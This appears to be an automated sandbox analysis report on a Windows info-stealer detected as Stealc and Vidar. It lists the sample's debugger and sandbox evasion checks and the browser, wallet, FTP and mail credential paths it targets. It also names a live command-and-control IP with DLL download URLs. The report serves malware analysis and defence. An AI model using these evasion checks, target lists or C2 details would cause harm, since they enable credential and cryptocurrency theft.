Source: file.exe, 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: FIDGHIIE.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696494690x
Source: FIDGHIIE.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696494690
Source: FIDGHIIE.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696494690\|UE

Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13257
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13260
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-14447
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13271
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13278
Source: C:\Users\user\Desktop\file.exe	API call chain: ExitProcess graph end node	graph_0-13311

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe

Thread information set: HideFromDebugger

Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\file.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\file.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\file.exe	File opened: NTICE
Source: C:\Users\user\Desktop\file.exe	File opened: SICE
Source: C:\Users\user\Desktop\file.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F145C0 VirtualProtect ?,00000004,00000100,00000000

0_2_00F145C0

Source: C:\Users\user\Desktop\file.exe

0_2_00F29860

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F29750 mov eax, dword ptr fs:[00000030h]

0_2_00F29750

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F278E0 GetProcessHeap,RtlAllocateHeap,GetComputerNameA,

0_2_00F278E0

Source: C:\Users\user\Desktop\file.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: file.exe PID: 7684, type: MEMORYSTR

Searches for specific processes (likely to inject)

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F29600 CreateToolhelp32Snapshot,Process32First,Process32Next,StrCmpCA,CloseHandle,

0_2_00F29600

Source: file.exe, file.exe, 00000000.00000002.1674025630.000000000130C000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: HyProgram Manager

Source: C:\Users\user\Desktop\file.exe

Code function: GetKeyboardLayoutList,LocalAlloc,GetKeyboardLayoutList,GetLocaleInfoA,LocalFree,

0_2_00F27B90

Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation			Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F27980 GetProcessHeap,RtlAllocateHeap,GetLocalTime,wsprintfA,

0_2_00F27980

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F27850 GetProcessHeap,RtlAllocateHeap,GetUserNameA,

0_2_00F27850

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00F27A30 GetProcessHeap,RtlAllocateHeap,GetTimeZoneInformation,wsprintfA,

0_2_00F27A30

Stealing of Sensitive Information

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1432733405.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7684, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7684, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Binance\app-store.jsonq
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: inance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger L
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: ge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|
Source: file.exe	String found in binary or memory: \Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiD
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe	String found in binary or memory: tream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.*\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1
Source: file.exe, 00000000.00000002.1691818019.00000000295F1000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: \??\C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\.

Tries to harvest and steal Bitcoin Wallet information

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\SOFTWARE\monero-project\monero-core

Jump to behavior

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-shm	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\prefs.js	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History-journal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\places.sqlite	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite-wal	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies	Jump to behavior

Tries to harvest and steal ftp login credentials

Source: C:\Users\user\Desktop\file.exe

File opened: C:\Users\user\AppData\Roaming\FileZilla\recentservers.xml

Jump to behavior

Tries to steal Crypto Currency Wallets

Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\ElectronCash\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\MultiDoge\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\jaxx\Local Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Binance\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Coinomi\Coinomi\wallets\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Local Storage\leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Ledger Live\Session Storage\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\config\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\atomic_qt\exports\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: C:\Users\user\AppData\Roaming\Guarda\Local Storage\leveldb\	Jump to behavior

Tries to steal Mail credentials (via file / registry access)

Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000002	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000003	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Key opened: HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000004	Jump to behavior

Source: Yara match	File source: 00000000.00000002.1673431331.00000000008D9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7684, type: MEMORYSTR

Remote Access Functionality

Yara detected Stealc

Source: Yara match	File source: 0.2.file.exe.f10000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1673431331.000000000087E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.1432733405.0000000004CA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1673632781.0000000000F11000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 7684, type: MEMORYSTR
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: file.exe PID: 7684, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	11 Native API	1 DLL Side-Loading	1 DLL Side-Loading	11 Disable or Modify Tools	2 OS Credential Dumping	2 System Time Discovery	Remote Services	1 Archive Collected Data	12 Ingress Tool Transfer	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	2 Command and Scripting Interpreter	Boot or Logon Initialization Scripts	11 Process Injection	1 Deobfuscate/Decode Files or Information	LSASS Memory	1 Account Discovery	Remote Desktop Protocol	4 Data from Local System	2 Encrypted Channel	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	3 Obfuscated Files or Information	Security Account Manager	2 File and Directory Discovery	SMB/Windows Admin Shares	1 Email Collection	2 Non-Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	12 Software Packing	NTDS	335 System Information Discovery	Distributed Component Object Model	Input Capture	112 Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	641 Security Software Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	1 Masquerading	Cached Domain Credentials	33 Virtualization/Sandbox Evasion	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	33 Virtualization/Sandbox Evasion	DCSync	13 Process Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery
Network Trust Dependencies	Serverless	Drive-by Compromise	Container Orchestration Job	Scheduled Task/Job	Scheduled Task/Job	11 Process Injection	Proc Filesystem	1 System Owner/User Discovery	Cloud Services	Credential API Hooking	Application Layer Protocol	Exfiltration Over Alternative Protocol	Defacement

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
file.exe	37%	ReversingLabs	Win32.Trojan.Generic
file.exe	43%	Virustotal		Browse
file.exe	100%	Avira	TR/Crypt.TPM.Gen
file.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner
C:\ProgramData\freebl3.dll	0%	ReversingLabs
C:\ProgramData\mozglue.dll	0%	ReversingLabs
C:\ProgramData\msvcp140.dll	0%	ReversingLabs
C:\ProgramData\nss3.dll	0%	ReversingLabs
C:\ProgramData\softokn3.dll	0%	ReversingLabs
C:\ProgramData\vcruntime140.dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\freebl3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\mozglue[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\msvcp140[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\nss3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\softokn3[1].dll	0%	ReversingLabs
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\vcruntime140[1].dll	0%	ReversingLabs

Source	Detection	Scanner	Label	Link
https://duckduckgo.com/chrome_newtab	0%	URL Reputation	safe
http://185.215.113.37/	100%	URL Reputation	malware
https://duckduckgo.com/ac/?q=	0%	URL Reputation	safe
https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=	0%	URL Reputation	safe
http://185.215.113.37	100%	URL Reputation	malware
https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search	0%	URL Reputation	safe
http://185.215.113.37/e2b1563c6670f193.php	100%	URL Reputation	malware
http://www.sqlite.org/copyright.html.	0%	URL Reputation	safe
https://mozilla.org0/	0%	URL Reputation	safe
https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=	0%	URL Reputation	safe
https://www.ecosia.org/newtab/	0%	URL Reputation	safe
https://support.mozilla.org/kb/customize-firefox-controls-buttons-and-toolbars?utm_source=firefox-br	0%	URL Reputation	safe
https://ac.ecosia.org/autocomplete?q=	0%	URL Reputation	safe
https://contile-images.services.mozilla.com/obgoOYObjIFea_bXuT6L4LbBJ8j425AD87S1HMD3BWg.9991.jpg	0%	URL Reputation	safe
https://support.mozilla.org	0%	URL Reputation	safe
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	0%	URL Reputation	safe
http://185.215.113.37/0d60be0de163924d/nss3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/mozglue.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dllM	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dllQ	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpl	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/softokn3.dll	21%	Virustotal		Browse
http://www.mozilla.com/en-US/blocklist/	0%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll#	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/freebl3.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dll%	17%	Virustotal		Browse
https://www.google.com/images/branding/product/ico/googleg_lodp.ico	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpinomi	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/msvcp140.dll	21%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/nss3.dllJ	17%	Virustotal		Browse
http://185.215.113.37/0d60be0de163924d/sqlite3.dll	21%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.php3	17%	Virustotal		Browse
https://contile-images.services.mozilla.com/CuERQnIs4CzqjKBh9os6_h9d4CUDCHO3oiqmAQO6VLM.25122.jpg	0%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpJ	17%	Virustotal		Browse
http://185.215.113.37/e2b1563c6670f193.phpwser	17%	Virustotal		Browse

Name	Malicious	Antivirus Detection	Reputation
http://185.215.113.37/	true	URL Reputation: malware	unknown
http://185.215.113.37/0d60be0de163924d/nss3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/mozglue.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/softokn3.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/vcruntime140.dll	true	21%, Virustotal, Browse	unknown
http://185.215.113.37/0d60be0de163924d/freebl3.dll	true	21%, Virustotal, Browse	unknown
